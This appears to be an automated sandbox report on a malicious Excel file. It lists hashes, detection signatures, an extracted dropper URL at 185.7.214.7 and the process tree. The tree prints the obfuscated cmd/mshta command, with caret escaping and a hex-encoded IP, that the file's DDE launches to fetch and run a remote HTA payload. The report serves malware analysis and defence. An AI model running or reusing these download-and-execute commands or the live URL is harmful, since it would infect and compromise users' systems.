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Analysis

  • max time kernel
    119s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    11/11/2024, 21:42

General

  • Target

    b171d0fe07081dc2242ca925781fe764c795dba322ef8a8f0bfb2e30918af578.xls

  • Size

    101KB

  • MD5

    ad38d630d30a724ffd07fecb6abc0729

  • SHA1

    839315e93e4a7d41db86ad65da2c59fbe0f256da

  • SHA256

    b171d0fe07081dc2242ca925781fe764c795dba322ef8a8f0bfb2e30918af578

  • SHA512

    7bb2f222d3a32a0c444f4921e09ff2f9e8e18c1b08c0578e98eb25aeb155f003392fa91ec6eeb00aafb5053055be59468cfbf143d5ad7a53b9ed530f276aeaa0

  • SSDEEP

    3072:n/k3hbdlylKsgqopeJBWhZFGkE+cL2NdAFxe53lGvFTQ3IzxgdrvxpU0OKvMB:/k3hbdlylKsgqopeJBWhZFVE+W2NdAOK

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://185.7.214.7/fer/fe3.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\b171d0fe07081dc2242ca925781fe764c795dba322ef8a8f0bfb2e30918af578.xls
    1⤵
    • System Location Discovery: System Language Discovery
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1476
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe3.html
      2⤵
      • Process spawned unexpected child process
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2664
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://0xb907d607/fer/fe3.html
        3⤵
        • Blocklisted process makes network request
        • System Location Discovery: System Language Discovery
        • Modifies Internet Explorer settings
        PID:2736

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • memory/1476-1-0x0000000072A5D000-0x0000000072A68000-memory.dmp

    Filesize

    44KB

  • memory/1476-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/1476-2-0x0000000072A5D000-0x0000000072A68000-memory.dmp

    Filesize

    44KB